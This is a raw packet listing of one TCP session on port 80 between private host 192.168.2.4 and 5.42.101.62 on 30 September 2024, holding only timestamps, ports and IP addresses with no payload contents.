Sep 30, 2024 12:22:33.827617884 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827646971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827688932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827697992 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827732086 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827740908 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827765942 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827770948 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827799082 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827805996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827831030 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827838898 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827862978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827874899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827896118 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827900887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827934027 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827939034 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.827966928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.827981949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828000069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828018904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828036070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828054905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828087091 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828097105 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828121901 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828128099 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828152895 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828159094 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828186035 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828205109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828219891 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828231096 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828248978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828254938 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828288078 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828300953 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828331947 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828339100 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828365088 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828376055 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828411102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828418016 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828452110 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828460932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828490973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828494072 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828524113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828532934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828556061 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828563929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828584909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828599930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828618050 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828624010 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828651905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828661919 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828690052 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828701973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828735113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828743935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828766108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828778982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828799963 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828816891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828838110 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828855991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828897953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828905106 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828937054 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828943968 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.828970909 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.828979015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829003096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829026937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829041958 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829052925 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829086065 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829092026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829121113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829129934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829154015 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829159021 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829191923 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829205036 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829233885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829246044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829269886 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829273939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829303980 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829309940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829335928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829340935 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829370022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829375029 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829401970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829410076 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829436064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829440117 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829469919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829474926 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829504013 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829508066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829531908 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829541922 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829564095 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829569101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829600096 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829610109 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829646111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829651117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829684019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829689026 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829720020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829724073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829758883 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829771996 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829804897 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829809904 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829843044 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829855919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829895020 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829905033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829938889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829955101 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.829972029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.829981089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830004930 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830010891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830038071 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830044985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830076933 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830089092 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830120087 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830127001 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830163002 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830169916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830203056 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830212116 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830240965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830254078 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830281973 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830292940 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830315113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830321074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830358982 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830364943 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830395937 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830405951 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830434084 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830449104 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830486059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830491066 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830524921 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830535889 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830569029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830576897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830601931 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830606937 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830636978 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830642939 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830668926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830672979 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830703020 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830708027 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830735922 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830741882 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830769062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830774069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830801964 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830810070 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830840111 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830842018 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830868959 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830881119 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830902100 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830904007 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830935955 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830940962 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.830967903 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.830974102 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831000090 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831007004 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831032991 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831038952 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831065893 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831072092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831096888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831104040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831129074 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831130981 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831160069 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831171989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831193924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831197023 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831227064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831233025 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831259012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831264973 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831291914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831295967 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831326008 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831331015 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831357956 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831366062 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831398964 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831415892 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831449986 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831458092 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831485987 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831490040 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831518888 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:33.831522942 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:33.831562996 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914654970 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914721966 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914736986 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914752960 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914768934 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914798975 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914814949 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914858103 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914865971 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914900064 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914904118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914928913 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.914946079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914971113 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.914979935 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915014029 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915019989 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915050983 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915056944 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915093899 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915107012 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915153980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915158033 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915189981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915200949 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915224075 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915232897 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915256977 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915266037 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915293932 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915299892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915328979 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915337086 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915361881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915373087 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915400028 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915415049 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915448904 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915462017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915491104 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915499926 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915530920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915538073 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915568113 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915577888 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915597916 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915610075 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915638924 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915644884 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915680885 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915683985 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915714025 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915724993 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915747881 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915756941 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915781021 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915791988 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915813923 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915823936 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915847063 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915857077 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915880919 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915890932 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915916920 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915927887 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915951014 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915958881 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.915983915 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.915993929 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916022062 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916026115 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916060925 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916073084 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916106939 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916116953 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916138887 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916147947 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916172981 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916182041 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916205883 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916217089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916239023 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916246891 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916273117 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916282892 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916306019 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916315079 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916341066 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916347980 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916373968 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916382074 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916407108 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916415930 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916441917 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916450024 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916476011 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916484118 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916511059 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916517019 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916544914 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916553974 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916579962 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916588068 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916613102 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916624069 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916646004 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916656017 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916678905 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916687965 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916712999 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916721106 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916754961 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916765928 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916800022 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916814089 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916832924 CEST	80	52534	5.42.101.62	192.168.2.4
Sep 30, 2024 12:22:34.916841984 CEST	52534	80	192.168.2.4	5.42.101.62
Sep 30, 2024 12:22:34.916868925 CEST	80	52534	5.42.101.62	192.168.2.4
